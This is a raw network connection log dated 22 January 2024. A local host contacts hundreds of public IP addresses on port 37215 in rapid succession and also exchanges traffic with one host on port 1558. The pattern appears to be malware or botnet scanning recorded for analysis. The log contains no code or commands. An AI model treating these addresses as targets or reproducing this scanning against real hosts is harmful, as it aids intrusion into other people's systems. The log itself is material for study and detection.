Jan 22, 2024 03:59:46.154596090 CET	58015	37215	192.168.2.20	41.30.92.129
Jan 22, 2024 03:59:46.154652119 CET	58015	37215	192.168.2.20	41.192.185.115
Jan 22, 2024 03:59:46.154652119 CET	58015	37215	192.168.2.20	222.86.219.176
Jan 22, 2024 03:59:46.154684067 CET	58015	37215	192.168.2.20	41.10.127.184
Jan 22, 2024 03:59:46.154704094 CET	58015	37215	192.168.2.20	160.142.179.87
Jan 22, 2024 03:59:46.154740095 CET	58015	37215	192.168.2.20	41.206.22.45
Jan 22, 2024 03:59:46.154764891 CET	58015	37215	192.168.2.20	41.114.195.130
Jan 22, 2024 03:59:46.154793978 CET	58015	37215	192.168.2.20	156.185.166.93
Jan 22, 2024 03:59:46.154827118 CET	58015	37215	192.168.2.20	37.145.172.82
Jan 22, 2024 03:59:46.154845953 CET	58015	37215	192.168.2.20	102.209.194.159
Jan 22, 2024 03:59:46.154869080 CET	58015	37215	192.168.2.20	41.228.61.133
Jan 22, 2024 03:59:46.154894114 CET	58015	37215	192.168.2.20	197.169.184.243
Jan 22, 2024 03:59:46.154932022 CET	58015	37215	192.168.2.20	122.211.177.226
Jan 22, 2024 03:59:46.154953003 CET	58015	37215	192.168.2.20	156.154.231.40
Jan 22, 2024 03:59:46.154987097 CET	58015	37215	192.168.2.20	156.68.43.64
Jan 22, 2024 03:59:46.155004025 CET	58015	37215	192.168.2.20	181.69.147.18
Jan 22, 2024 03:59:46.155041933 CET	58015	37215	192.168.2.20	41.204.204.120
Jan 22, 2024 03:59:46.155060053 CET	58015	37215	192.168.2.20	197.56.90.232
Jan 22, 2024 03:59:46.155086994 CET	58015	37215	192.168.2.20	122.141.227.115
Jan 22, 2024 03:59:46.155123949 CET	58015	37215	192.168.2.20	197.53.79.75
Jan 22, 2024 03:59:46.155158043 CET	58015	37215	192.168.2.20	157.106.249.209
Jan 22, 2024 03:59:46.155191898 CET	58015	37215	192.168.2.20	138.220.131.12
Jan 22, 2024 03:59:46.155206919 CET	58015	37215	192.168.2.20	95.121.244.24
Jan 22, 2024 03:59:46.155225039 CET	58015	37215	192.168.2.20	41.217.84.235
Jan 22, 2024 03:59:46.155261993 CET	58015	37215	192.168.2.20	102.77.26.184
Jan 22, 2024 03:59:46.155280113 CET	58015	37215	192.168.2.20	197.139.61.89
Jan 22, 2024 03:59:46.155314922 CET	58015	37215	192.168.2.20	154.254.151.13
Jan 22, 2024 03:59:46.155353069 CET	58015	37215	192.168.2.20	196.115.55.96
Jan 22, 2024 03:59:46.155366898 CET	58015	37215	192.168.2.20	197.207.165.147
Jan 22, 2024 03:59:46.155395031 CET	58015	37215	192.168.2.20	181.42.2.246
Jan 22, 2024 03:59:46.155424118 CET	58015	37215	192.168.2.20	92.26.19.146
Jan 22, 2024 03:59:46.155442953 CET	58015	37215	192.168.2.20	41.130.117.191
Jan 22, 2024 03:59:46.155471087 CET	58015	37215	192.168.2.20	45.202.12.254
Jan 22, 2024 03:59:46.155498028 CET	58015	37215	192.168.2.20	197.173.106.127
Jan 22, 2024 03:59:46.155525923 CET	58015	37215	192.168.2.20	156.82.23.223
Jan 22, 2024 03:59:46.155561924 CET	58015	37215	192.168.2.20	156.122.156.24
Jan 22, 2024 03:59:46.155590057 CET	58015	37215	192.168.2.20	156.158.146.137
Jan 22, 2024 03:59:46.155613899 CET	58015	37215	192.168.2.20	102.74.128.167
Jan 22, 2024 03:59:46.155635118 CET	58015	37215	192.168.2.20	41.6.89.1
Jan 22, 2024 03:59:46.155663013 CET	58015	37215	192.168.2.20	41.47.216.65
Jan 22, 2024 03:59:46.155697107 CET	58015	37215	192.168.2.20	197.120.38.216
Jan 22, 2024 03:59:46.155724049 CET	58015	37215	192.168.2.20	197.73.128.175
Jan 22, 2024 03:59:46.155744076 CET	58015	37215	192.168.2.20	156.225.156.236
Jan 22, 2024 03:59:46.155778885 CET	58015	37215	192.168.2.20	190.150.187.102
Jan 22, 2024 03:59:46.155797005 CET	58015	37215	192.168.2.20	156.32.212.14
Jan 22, 2024 03:59:46.155827045 CET	58015	37215	192.168.2.20	156.5.132.55
Jan 22, 2024 03:59:46.155858994 CET	58015	37215	192.168.2.20	160.167.218.88
Jan 22, 2024 03:59:46.155878067 CET	58015	37215	192.168.2.20	37.238.115.191
Jan 22, 2024 03:59:46.155921936 CET	58015	37215	192.168.2.20	156.41.163.223
Jan 22, 2024 03:59:46.155931950 CET	58015	37215	192.168.2.20	121.71.204.84
Jan 22, 2024 03:59:46.155970097 CET	58015	37215	192.168.2.20	41.215.213.158
Jan 22, 2024 03:59:46.155993938 CET	58015	37215	192.168.2.20	37.115.76.77
Jan 22, 2024 03:59:46.156016111 CET	58015	37215	192.168.2.20	197.3.149.50
Jan 22, 2024 03:59:46.156052113 CET	58015	37215	192.168.2.20	156.78.34.172
Jan 22, 2024 03:59:46.156069994 CET	58015	37215	192.168.2.20	197.46.39.81
Jan 22, 2024 03:59:46.156096935 CET	58015	37215	192.168.2.20	154.38.40.119
Jan 22, 2024 03:59:46.156132936 CET	58015	37215	192.168.2.20	160.113.106.109
Jan 22, 2024 03:59:46.156158924 CET	58015	37215	192.168.2.20	156.79.83.49
Jan 22, 2024 03:59:46.156179905 CET	58015	37215	192.168.2.20	95.231.109.48
Jan 22, 2024 03:59:46.156260014 CET	58015	37215	192.168.2.20	107.32.11.121
Jan 22, 2024 03:59:46.156290054 CET	58015	37215	192.168.2.20	197.255.105.40
Jan 22, 2024 03:59:46.156311035 CET	58015	37215	192.168.2.20	156.83.102.202
Jan 22, 2024 03:59:46.156349897 CET	58015	37215	192.168.2.20	197.209.250.219
Jan 22, 2024 03:59:46.156438112 CET	58015	37215	192.168.2.20	41.127.234.130
Jan 22, 2024 03:59:46.156474113 CET	58015	37215	192.168.2.20	41.63.100.33
Jan 22, 2024 03:59:46.156501055 CET	58015	37215	192.168.2.20	107.13.151.30
Jan 22, 2024 03:59:46.156522036 CET	58015	37215	192.168.2.20	156.160.201.68
Jan 22, 2024 03:59:46.156557083 CET	58015	37215	192.168.2.20	197.0.10.191
Jan 22, 2024 03:59:46.156584978 CET	58015	37215	192.168.2.20	157.26.219.62
Jan 22, 2024 03:59:46.156610012 CET	58015	37215	192.168.2.20	94.102.4.56
Jan 22, 2024 03:59:46.156636000 CET	58015	37215	192.168.2.20	197.129.63.124
Jan 22, 2024 03:59:46.156657934 CET	58015	37215	192.168.2.20	156.92.86.0
Jan 22, 2024 03:59:46.156686068 CET	58015	37215	192.168.2.20	197.177.39.109
Jan 22, 2024 03:59:46.156721115 CET	58015	37215	192.168.2.20	197.96.63.39
Jan 22, 2024 03:59:46.156749964 CET	58015	37215	192.168.2.20	107.120.222.84
Jan 22, 2024 03:59:46.156774998 CET	58015	37215	192.168.2.20	92.214.207.184
Jan 22, 2024 03:59:46.156795025 CET	58015	37215	192.168.2.20	102.39.28.248
Jan 22, 2024 03:59:46.156821966 CET	58015	37215	192.168.2.20	92.62.38.162
Jan 22, 2024 03:59:46.156850100 CET	58015	37215	192.168.2.20	197.101.54.43
Jan 22, 2024 03:59:46.156876087 CET	58015	37215	192.168.2.20	107.179.122.126
Jan 22, 2024 03:59:46.156908035 CET	58015	37215	192.168.2.20	196.147.115.44
Jan 22, 2024 03:59:46.156933069 CET	58015	37215	192.168.2.20	41.197.214.247
Jan 22, 2024 03:59:46.156968117 CET	58015	37215	192.168.2.20	197.81.128.158
Jan 22, 2024 03:59:46.156987906 CET	58015	37215	192.168.2.20	197.8.51.70
Jan 22, 2024 03:59:46.157015085 CET	58015	37215	192.168.2.20	196.87.196.185
Jan 22, 2024 03:59:46.157047033 CET	58015	37215	192.168.2.20	197.148.195.193
Jan 22, 2024 03:59:46.157074928 CET	58015	37215	192.168.2.20	95.218.163.174
Jan 22, 2024 03:59:46.157095909 CET	58015	37215	192.168.2.20	197.79.93.115
Jan 22, 2024 03:59:46.157119989 CET	58015	37215	192.168.2.20	156.130.181.227
Jan 22, 2024 03:59:46.157159090 CET	58015	37215	192.168.2.20	197.21.51.63
Jan 22, 2024 03:59:46.157177925 CET	58015	37215	192.168.2.20	138.201.121.116
Jan 22, 2024 03:59:46.157210112 CET	58015	37215	192.168.2.20	196.24.16.60
Jan 22, 2024 03:59:46.157238007 CET	58015	37215	192.168.2.20	45.34.213.61
Jan 22, 2024 03:59:46.157258987 CET	58015	37215	192.168.2.20	102.153.182.1
Jan 22, 2024 03:59:46.157294035 CET	58015	37215	192.168.2.20	92.76.100.80
Jan 22, 2024 03:59:46.157320023 CET	58015	37215	192.168.2.20	156.42.165.110
Jan 22, 2024 03:59:46.157350063 CET	58015	37215	192.168.2.20	156.111.71.66
Jan 22, 2024 03:59:46.157370090 CET	58015	37215	192.168.2.20	120.93.10.223
Jan 22, 2024 03:59:46.157404900 CET	58015	37215	192.168.2.20	45.206.90.4
Jan 22, 2024 03:59:46.157422066 CET	58015	37215	192.168.2.20	37.85.88.104
Jan 22, 2024 03:59:46.157450914 CET	58015	37215	192.168.2.20	197.150.20.63
Jan 22, 2024 03:59:46.157485008 CET	58015	37215	192.168.2.20	41.141.97.145
Jan 22, 2024 03:59:46.157512903 CET	58015	37215	192.168.2.20	156.197.86.182
Jan 22, 2024 03:59:46.157535076 CET	58015	37215	192.168.2.20	41.161.65.248
Jan 22, 2024 03:59:46.157561064 CET	58015	37215	192.168.2.20	197.252.236.252
Jan 22, 2024 03:59:46.157594919 CET	58015	37215	192.168.2.20	138.236.199.189
Jan 22, 2024 03:59:46.157630920 CET	58015	37215	192.168.2.20	197.55.86.25
Jan 22, 2024 03:59:46.157659054 CET	58015	37215	192.168.2.20	41.55.157.174
Jan 22, 2024 03:59:46.157669067 CET	58015	37215	192.168.2.20	41.91.140.42
Jan 22, 2024 03:59:46.157732010 CET	58015	37215	192.168.2.20	197.21.173.92
Jan 22, 2024 03:59:46.157777071 CET	58015	37215	192.168.2.20	197.225.110.20
Jan 22, 2024 03:59:46.157788992 CET	58015	37215	192.168.2.20	156.113.83.44
Jan 22, 2024 03:59:46.157808065 CET	58015	37215	192.168.2.20	41.229.153.197
Jan 22, 2024 03:59:46.157844067 CET	58015	37215	192.168.2.20	120.63.219.56
Jan 22, 2024 03:59:46.157871962 CET	58015	37215	192.168.2.20	186.37.3.121
Jan 22, 2024 03:59:46.157911062 CET	58015	37215	192.168.2.20	41.65.135.13
Jan 22, 2024 03:59:46.157931089 CET	58015	37215	192.168.2.20	95.179.125.251
Jan 22, 2024 03:59:46.157946110 CET	58015	37215	192.168.2.20	41.72.188.47
Jan 22, 2024 03:59:46.157967091 CET	58015	37215	192.168.2.20	37.204.159.137
Jan 22, 2024 03:59:46.158008099 CET	58015	37215	192.168.2.20	197.5.250.173
Jan 22, 2024 03:59:46.158046961 CET	58015	37215	192.168.2.20	156.31.215.107
Jan 22, 2024 03:59:46.158055067 CET	58015	37215	192.168.2.20	102.115.64.39
Jan 22, 2024 03:59:46.158087015 CET	58015	37215	192.168.2.20	138.75.58.217
Jan 22, 2024 03:59:46.158109903 CET	58015	37215	192.168.2.20	197.129.81.88
Jan 22, 2024 03:59:46.158144951 CET	58015	37215	192.168.2.20	197.120.118.183
Jan 22, 2024 03:59:46.158157110 CET	58015	37215	192.168.2.20	41.175.193.193
Jan 22, 2024 03:59:46.158194065 CET	58015	37215	192.168.2.20	120.219.212.64
Jan 22, 2024 03:59:46.158216000 CET	58015	37215	192.168.2.20	190.209.202.19
Jan 22, 2024 03:59:46.158242941 CET	58015	37215	192.168.2.20	41.95.143.90
Jan 22, 2024 03:59:46.158269882 CET	58015	37215	192.168.2.20	41.242.11.191
Jan 22, 2024 03:59:46.158297062 CET	58015	37215	192.168.2.20	41.101.57.224
Jan 22, 2024 03:59:46.158332109 CET	58015	37215	192.168.2.20	156.183.42.175
Jan 22, 2024 03:59:46.158350945 CET	58015	37215	192.168.2.20	197.51.74.53
Jan 22, 2024 03:59:46.158385992 CET	58015	37215	192.168.2.20	41.27.114.139
Jan 22, 2024 03:59:46.158405066 CET	58015	37215	192.168.2.20	157.150.163.13
Jan 22, 2024 03:59:46.158432961 CET	58015	37215	192.168.2.20	41.148.229.234
Jan 22, 2024 03:59:46.158469915 CET	58015	37215	192.168.2.20	41.56.234.144
Jan 22, 2024 03:59:46.158497095 CET	58015	37215	192.168.2.20	41.129.147.255
Jan 22, 2024 03:59:46.158520937 CET	58015	37215	192.168.2.20	197.12.71.90
Jan 22, 2024 03:59:46.158544064 CET	58015	37215	192.168.2.20	156.208.156.242
Jan 22, 2024 03:59:46.158576965 CET	58015	37215	192.168.2.20	156.202.55.91
Jan 22, 2024 03:59:46.158596992 CET	58015	37215	192.168.2.20	156.178.113.83
Jan 22, 2024 03:59:46.158624887 CET	58015	37215	192.168.2.20	197.67.155.206
Jan 22, 2024 03:59:46.158655882 CET	58015	37215	192.168.2.20	94.52.222.236
Jan 22, 2024 03:59:46.158688068 CET	58015	37215	192.168.2.20	160.133.220.165
Jan 22, 2024 03:59:46.158720016 CET	58015	37215	192.168.2.20	156.146.185.17
Jan 22, 2024 03:59:46.158745050 CET	58015	37215	192.168.2.20	181.37.246.248
Jan 22, 2024 03:59:46.158777952 CET	58015	37215	192.168.2.20	41.76.251.151
Jan 22, 2024 03:59:46.158796072 CET	58015	37215	192.168.2.20	156.51.129.21
Jan 22, 2024 03:59:46.158822060 CET	58015	37215	192.168.2.20	156.130.225.173
Jan 22, 2024 03:59:46.158858061 CET	58015	37215	192.168.2.20	157.194.198.190
Jan 22, 2024 03:59:46.158885956 CET	58015	37215	192.168.2.20	41.228.191.126
Jan 22, 2024 03:59:46.158905029 CET	58015	37215	192.168.2.20	222.115.184.50
Jan 22, 2024 03:59:46.158940077 CET	58015	37215	192.168.2.20	197.42.30.246
Jan 22, 2024 03:59:46.158960104 CET	58015	37215	192.168.2.20	222.218.133.0
Jan 22, 2024 03:59:46.158996105 CET	58015	37215	192.168.2.20	102.170.86.76
Jan 22, 2024 03:59:46.159020901 CET	58015	37215	192.168.2.20	154.183.87.11
Jan 22, 2024 03:59:46.159049034 CET	58015	37215	192.168.2.20	197.81.226.61
Jan 22, 2024 03:59:46.159090042 CET	58015	37215	192.168.2.20	197.32.250.241
Jan 22, 2024 03:59:46.159102917 CET	58015	37215	192.168.2.20	197.249.249.64
Jan 22, 2024 03:59:46.159132957 CET	58015	37215	192.168.2.20	95.249.192.44
Jan 22, 2024 03:59:46.159151077 CET	58015	37215	192.168.2.20	41.150.106.99
Jan 22, 2024 03:59:46.159178972 CET	58015	37215	192.168.2.20	196.231.156.14
Jan 22, 2024 03:59:46.159229994 CET	58015	37215	192.168.2.20	156.32.60.100
Jan 22, 2024 03:59:46.159231901 CET	58015	37215	192.168.2.20	41.101.60.151
Jan 22, 2024 03:59:46.159267902 CET	58015	37215	192.168.2.20	41.156.138.136
Jan 22, 2024 03:59:46.159292936 CET	58015	37215	192.168.2.20	197.136.183.137
Jan 22, 2024 03:59:46.159317970 CET	58015	37215	192.168.2.20	156.150.169.101
Jan 22, 2024 03:59:46.159352064 CET	58015	37215	192.168.2.20	41.141.70.126
Jan 22, 2024 03:59:46.159374952 CET	58015	37215	192.168.2.20	41.134.136.93
Jan 22, 2024 03:59:46.159398079 CET	58015	37215	192.168.2.20	41.80.20.74
Jan 22, 2024 03:59:46.159432888 CET	58015	37215	192.168.2.20	197.120.94.250
Jan 22, 2024 03:59:46.159459114 CET	58015	37215	192.168.2.20	154.14.151.12
Jan 22, 2024 03:59:46.159483910 CET	58015	37215	192.168.2.20	160.133.143.2
Jan 22, 2024 03:59:46.159503937 CET	58015	37215	192.168.2.20	156.238.247.151
Jan 22, 2024 03:59:46.159533024 CET	58015	37215	192.168.2.20	107.107.148.237
Jan 22, 2024 03:59:46.159559965 CET	58015	37215	192.168.2.20	197.44.101.100
Jan 22, 2024 03:59:46.159595013 CET	58015	37215	192.168.2.20	186.255.227.54
Jan 22, 2024 03:59:46.159620047 CET	58015	37215	192.168.2.20	197.245.13.133
Jan 22, 2024 03:59:46.159648895 CET	58015	37215	192.168.2.20	41.34.225.114
Jan 22, 2024 03:59:46.159674883 CET	58015	37215	192.168.2.20	197.72.161.106
Jan 22, 2024 03:59:46.159696102 CET	58015	37215	192.168.2.20	95.147.201.87
Jan 22, 2024 03:59:46.159749985 CET	58015	37215	192.168.2.20	95.141.51.174
Jan 22, 2024 03:59:46.159759998 CET	58015	37215	192.168.2.20	197.30.97.148
Jan 22, 2024 03:59:46.159779072 CET	58015	37215	192.168.2.20	156.191.190.82
Jan 22, 2024 03:59:46.159812927 CET	58015	37215	192.168.2.20	197.58.179.57
Jan 22, 2024 03:59:46.159826994 CET	58015	37215	192.168.2.20	156.39.229.63
Jan 22, 2024 03:59:46.159861088 CET	58015	37215	192.168.2.20	107.155.145.219
Jan 22, 2024 03:59:46.159892082 CET	58015	37215	192.168.2.20	95.35.43.21
Jan 22, 2024 03:59:46.159921885 CET	58015	37215	192.168.2.20	156.54.190.164
Jan 22, 2024 03:59:46.159962893 CET	58015	37215	192.168.2.20	156.143.102.34
Jan 22, 2024 03:59:46.159981012 CET	58015	37215	192.168.2.20	160.164.54.156
Jan 22, 2024 03:59:46.159998894 CET	58015	37215	192.168.2.20	156.151.230.217
Jan 22, 2024 03:59:46.160037994 CET	58015	37215	192.168.2.20	156.125.101.75
Jan 22, 2024 03:59:46.160059929 CET	58015	37215	192.168.2.20	197.64.57.74
Jan 22, 2024 03:59:46.160079002 CET	58015	37215	192.168.2.20	154.48.134.105
Jan 22, 2024 03:59:46.160113096 CET	58015	37215	192.168.2.20	197.115.150.157
Jan 22, 2024 03:59:46.160140991 CET	58015	37215	192.168.2.20	196.139.81.25
Jan 22, 2024 03:59:46.160161972 CET	58015	37215	192.168.2.20	156.252.147.28
Jan 22, 2024 03:59:46.160196066 CET	58015	37215	192.168.2.20	156.200.208.130
Jan 22, 2024 03:59:46.160223007 CET	58015	37215	192.168.2.20	156.242.101.139
Jan 22, 2024 03:59:46.160243034 CET	58015	37215	192.168.2.20	157.166.100.159
Jan 22, 2024 03:59:46.160399914 CET	53046	37215	192.168.2.20	107.190.230.35
Jan 22, 2024 03:59:46.160505056 CET	42072	37215	192.168.2.20	197.246.47.2
Jan 22, 2024 03:59:46.272578001 CET	37215	58015	107.161.127.65	192.168.2.20
Jan 22, 2024 03:59:46.288281918 CET	1558	55850	45.90.13.64	192.168.2.20
Jan 22, 2024 03:59:46.288439035 CET	37215	58015	107.13.151.30	192.168.2.20
Jan 22, 2024 03:59:46.288455009 CET	55850	1558	192.168.2.20	45.90.13.64
Jan 22, 2024 03:59:46.325406075 CET	37215	58015	156.242.101.139	192.168.2.20
Jan 22, 2024 03:59:46.331499100 CET	37215	53046	107.190.230.35	192.168.2.20
Jan 22, 2024 03:59:46.331669092 CET	53046	37215	192.168.2.20	107.190.230.35
Jan 22, 2024 03:59:46.332125902 CET	53046	37215	192.168.2.20	107.190.230.35
Jan 22, 2024 03:59:46.332181931 CET	53046	37215	192.168.2.20	107.190.230.35
Jan 22, 2024 03:59:46.332360029 CET	53050	37215	192.168.2.20	107.190.230.35
Jan 22, 2024 03:59:46.382958889 CET	37215	58015	92.62.38.162	192.168.2.20
Jan 22, 2024 03:59:46.393857956 CET	37215	58015	196.87.196.185	192.168.2.20
Jan 22, 2024 03:59:46.401838064 CET	37215	58015	41.44.207.210	192.168.2.20
Jan 22, 2024 03:59:46.409220934 CET	37215	58015	94.102.4.56	192.168.2.20
Jan 22, 2024 03:59:46.411703110 CET	37215	58015	190.210.247.7	192.168.2.20
Jan 22, 2024 03:59:46.416171074 CET	37215	58015	186.154.146.57	192.168.2.20
Jan 22, 2024 03:59:46.416937113 CET	37215	58015	41.221.185.217	192.168.2.20
Jan 22, 2024 03:59:46.421652079 CET	37215	58015	156.238.141.139	192.168.2.20
Jan 22, 2024 03:59:46.443161964 CET	37215	42072	197.246.47.2	192.168.2.20
Jan 22, 2024 03:59:46.443324089 CET	58015	37215	192.168.2.20	190.159.128.252
Jan 22, 2024 03:59:46.443336964 CET	58015	37215	192.168.2.20	102.242.60.94
Jan 22, 2024 03:59:46.443377018 CET	58015	37215	192.168.2.20	41.208.123.234
Jan 22, 2024 03:59:46.443428040 CET	58015	37215	192.168.2.20	45.238.87.224
Jan 22, 2024 03:59:46.443437099 CET	58015	37215	192.168.2.20	156.97.118.104
Jan 22, 2024 03:59:46.443475962 CET	42072	37215	192.168.2.20	197.246.47.2
Jan 22, 2024 03:59:46.443489075 CET	58015	37215	192.168.2.20	41.101.156.98
Jan 22, 2024 03:59:46.443495989 CET	58015	37215	192.168.2.20	197.123.166.158
Jan 22, 2024 03:59:46.443528891 CET	58015	37215	192.168.2.20	156.211.10.167
Jan 22, 2024 03:59:46.443528891 CET	58015	37215	192.168.2.20	41.186.98.60
Jan 22, 2024 03:59:46.443603039 CET	58015	37215	192.168.2.20	197.218.220.11
Jan 22, 2024 03:59:46.443617105 CET	58015	37215	192.168.2.20	197.123.243.170
Jan 22, 2024 03:59:46.443617105 CET	58015	37215	192.168.2.20	156.141.31.192
Jan 22, 2024 03:59:46.443639040 CET	58015	37215	192.168.2.20	156.81.79.74
Jan 22, 2024 03:59:46.443639040 CET	58015	37215	192.168.2.20	94.184.92.189
Jan 22, 2024 03:59:46.443639040 CET	58015	37215	192.168.2.20	122.128.49.149
Jan 22, 2024 03:59:46.443787098 CET	58015	37215	192.168.2.20	107.130.7.82
Jan 22, 2024 03:59:46.443787098 CET	58015	37215	192.168.2.20	41.32.34.51
Jan 22, 2024 03:59:46.443790913 CET	58015	37215	192.168.2.20	41.29.244.34
Jan 22, 2024 03:59:46.443790913 CET	58015	37215	192.168.2.20	102.148.11.51
Jan 22, 2024 03:59:46.443792105 CET	58015	37215	192.168.2.20	190.230.19.16
Jan 22, 2024 03:59:46.443793058 CET	58015	37215	192.168.2.20	41.35.170.154
Jan 22, 2024 03:59:46.443793058 CET	58015	37215	192.168.2.20	41.231.218.50
Jan 22, 2024 03:59:46.443793058 CET	58015	37215	192.168.2.20	156.42.224.188
Jan 22, 2024 03:59:46.443814039 CET	58015	37215	192.168.2.20	181.224.56.57
Jan 22, 2024 03:59:46.443826914 CET	58015	37215	192.168.2.20	197.143.143.119
Jan 22, 2024 03:59:46.443856955 CET	58015	37215	192.168.2.20	41.165.151.124
Jan 22, 2024 03:59:46.443893909 CET	58015	37215	192.168.2.20	156.28.20.158
Jan 22, 2024 03:59:46.443936110 CET	58015	37215	192.168.2.20	197.60.137.210
Jan 22, 2024 03:59:46.443936110 CET	58015	37215	192.168.2.20	197.20.255.230
Jan 22, 2024 03:59:46.443938971 CET	58015	37215	192.168.2.20	197.238.142.92
Jan 22, 2024 03:59:46.443937063 CET	58015	37215	192.168.2.20	186.227.238.156
Jan 22, 2024 03:59:46.443938971 CET	58015	37215	192.168.2.20	138.96.162.40
Jan 22, 2024 03:59:46.443938971 CET	58015	37215	192.168.2.20	41.183.127.132
Jan 22, 2024 03:59:46.443939924 CET	58015	37215	192.168.2.20	156.169.179.73
Jan 22, 2024 03:59:46.443939924 CET	58015	37215	192.168.2.20	138.120.111.216
Jan 22, 2024 03:59:46.443974972 CET	58015	37215	192.168.2.20	94.90.42.41
Jan 22, 2024 03:59:46.443974972 CET	58015	37215	192.168.2.20	120.95.92.93
Jan 22, 2024 03:59:46.443974972 CET	58015	37215	192.168.2.20	102.3.3.127
Jan 22, 2024 03:59:46.443974972 CET	58015	37215	192.168.2.20	156.173.109.156
Jan 22, 2024 03:59:46.443974972 CET	58015	37215	192.168.2.20	186.134.17.141
Jan 22, 2024 03:59:46.443999052 CET	58015	37215	192.168.2.20	156.85.145.4
Jan 22, 2024 03:59:46.444020033 CET	58015	37215	192.168.2.20	156.121.18.99
Jan 22, 2024 03:59:46.444040060 CET	58015	37215	192.168.2.20	41.84.110.229
Jan 22, 2024 03:59:46.444055080 CET	58015	37215	192.168.2.20	156.161.59.218
Jan 22, 2024 03:59:46.444055080 CET	58015	37215	192.168.2.20	107.150.99.41
Jan 22, 2024 03:59:46.444066048 CET	58015	37215	192.168.2.20	197.18.100.172
Jan 22, 2024 03:59:46.444067001 CET	58015	37215	192.168.2.20	122.151.27.150
Jan 22, 2024 03:59:46.444080114 CET	58015	37215	192.168.2.20	156.104.251.237
Jan 22, 2024 03:59:46.444104910 CET	58015	37215	192.168.2.20	120.16.172.163
Jan 22, 2024 03:59:46.444112062 CET	58015	37215	192.168.2.20	121.66.147.82
Jan 22, 2024 03:59:46.444152117 CET	58015	37215	192.168.2.20	95.190.34.117
Jan 22, 2024 03:59:46.444166899 CET	58015	37215	192.168.2.20	197.197.66.0
Jan 22, 2024 03:59:46.444211960 CET	58015	37215	192.168.2.20	45.148.118.96
Jan 22, 2024 03:59:46.444238901 CET	58015	37215	192.168.2.20	41.223.208.249
Jan 22, 2024 03:59:46.444252014 CET	58015	37215	192.168.2.20	121.254.177.211
Jan 22, 2024 03:59:46.444298029 CET	58015	37215	192.168.2.20	197.84.32.197
Jan 22, 2024 03:59:46.444305897 CET	58015	37215	192.168.2.20	197.54.103.235
Jan 22, 2024 03:59:46.444307089 CET	58015	37215	192.168.2.20	197.5.204.79
Jan 22, 2024 03:59:46.444353104 CET	58015	37215	192.168.2.20	157.110.252.109
Jan 22, 2024 03:59:46.444354057 CET	58015	37215	192.168.2.20	197.89.34.81
Jan 22, 2024 03:59:46.444365025 CET	58015	37215	192.168.2.20	41.196.96.122
Jan 22, 2024 03:59:46.444365025 CET	58015	37215	192.168.2.20	156.126.57.173
Jan 22, 2024 03:59:46.444395065 CET	58015	37215	192.168.2.20	156.201.87.243
Jan 22, 2024 03:59:46.444408894 CET	58015	37215	192.168.2.20	197.25.64.160
Jan 22, 2024 03:59:46.444410086 CET	58015	37215	192.168.2.20	41.206.65.237
Jan 22, 2024 03:59:46.444420099 CET	58015	37215	192.168.2.20	197.45.11.130
Jan 22, 2024 03:59:46.444434881 CET	58015	37215	192.168.2.20	41.8.131.130
Jan 22, 2024 03:59:46.444453955 CET	58015	37215	192.168.2.20	157.67.140.207
Jan 22, 2024 03:59:46.444473028 CET	58015	37215	192.168.2.20	197.77.29.188
Jan 22, 2024 03:59:46.444487095 CET	58015	37215	192.168.2.20	156.221.60.211
Jan 22, 2024 03:59:46.444511890 CET	58015	37215	192.168.2.20	186.116.173.34
Jan 22, 2024 03:59:46.444513083 CET	58015	37215	192.168.2.20	121.183.8.172
Jan 22, 2024 03:59:46.444555998 CET	58015	37215	192.168.2.20	41.191.132.193
Jan 22, 2024 03:59:46.444565058 CET	58015	37215	192.168.2.20	197.139.40.31
Jan 22, 2024 03:59:46.444586992 CET	58015	37215	192.168.2.20	156.202.23.179
Jan 22, 2024 03:59:46.444605112 CET	58015	37215	192.168.2.20	41.173.101.96
Jan 22, 2024 03:59:46.444643021 CET	58015	37215	192.168.2.20	197.72.54.178
Jan 22, 2024 03:59:46.444655895 CET	58015	37215	192.168.2.20	121.184.127.48
Jan 22, 2024 03:59:46.444658995 CET	58015	37215	192.168.2.20	156.43.158.209
Jan 22, 2024 03:59:46.444662094 CET	58015	37215	192.168.2.20	154.199.6.105
Jan 22, 2024 03:59:46.444675922 CET	58015	37215	192.168.2.20	197.59.4.195
Jan 22, 2024 03:59:46.444695950 CET	58015	37215	192.168.2.20	222.154.26.87
Jan 22, 2024 03:59:46.444719076 CET	58015	37215	192.168.2.20	138.208.102.33
Jan 22, 2024 03:59:46.444740057 CET	58015	37215	192.168.2.20	197.198.250.43
Jan 22, 2024 03:59:46.444757938 CET	58015	37215	192.168.2.20	156.87.74.216
Jan 22, 2024 03:59:46.444777966 CET	58015	37215	192.168.2.20	156.187.111.240
Jan 22, 2024 03:59:46.444792986 CET	58015	37215	192.168.2.20	107.93.136.155
Jan 22, 2024 03:59:46.444804907 CET	58015	37215	192.168.2.20	186.85.231.59
Jan 22, 2024 03:59:46.444822073 CET	58015	37215	192.168.2.20	197.30.75.41
Jan 22, 2024 03:59:46.444849014 CET	58015	37215	192.168.2.20	197.210.170.223
Jan 22, 2024 03:59:46.444856882 CET	58015	37215	192.168.2.20	156.244.41.146
Jan 22, 2024 03:59:46.444905996 CET	58015	37215	192.168.2.20	41.15.236.215
Jan 22, 2024 03:59:46.444905996 CET	58015	37215	192.168.2.20	156.90.3.194
Jan 22, 2024 03:59:46.444926977 CET	58015	37215	192.168.2.20	41.203.75.30
Jan 22, 2024 03:59:46.444942951 CET	58015	37215	192.168.2.20	156.248.210.146
Jan 22, 2024 03:59:46.444950104 CET	58015	37215	192.168.2.20	156.160.198.244
Jan 22, 2024 03:59:46.444979906 CET	58015	37215	192.168.2.20	37.121.221.20
Jan 22, 2024 03:59:46.444997072 CET	58015	37215	192.168.2.20	107.233.187.51
Jan 22, 2024 03:59:46.445022106 CET	58015	37215	192.168.2.20	102.239.177.126
Jan 22, 2024 03:59:46.445028067 CET	58015	37215	192.168.2.20	157.240.193.172
Jan 22, 2024 03:59:46.445055962 CET	58015	37215	192.168.2.20	197.67.242.1
Jan 22, 2024 03:59:46.445069075 CET	58015	37215	192.168.2.20	156.128.211.83
Jan 22, 2024 03:59:46.445097923 CET	58015	37215	192.168.2.20	41.213.58.251
Jan 22, 2024 03:59:46.445103884 CET	58015	37215	192.168.2.20	95.67.180.143
Jan 22, 2024 03:59:46.445122957 CET	58015	37215	192.168.2.20	41.129.210.48
Jan 22, 2024 03:59:46.445169926 CET	58015	37215	192.168.2.20	196.70.223.178
Jan 22, 2024 03:59:46.445183039 CET	58015	37215	192.168.2.20	41.208.54.79
Jan 22, 2024 03:59:46.445194960 CET	58015	37215	192.168.2.20	41.175.157.67
Jan 22, 2024 03:59:46.445194960 CET	58015	37215	192.168.2.20	197.50.177.64
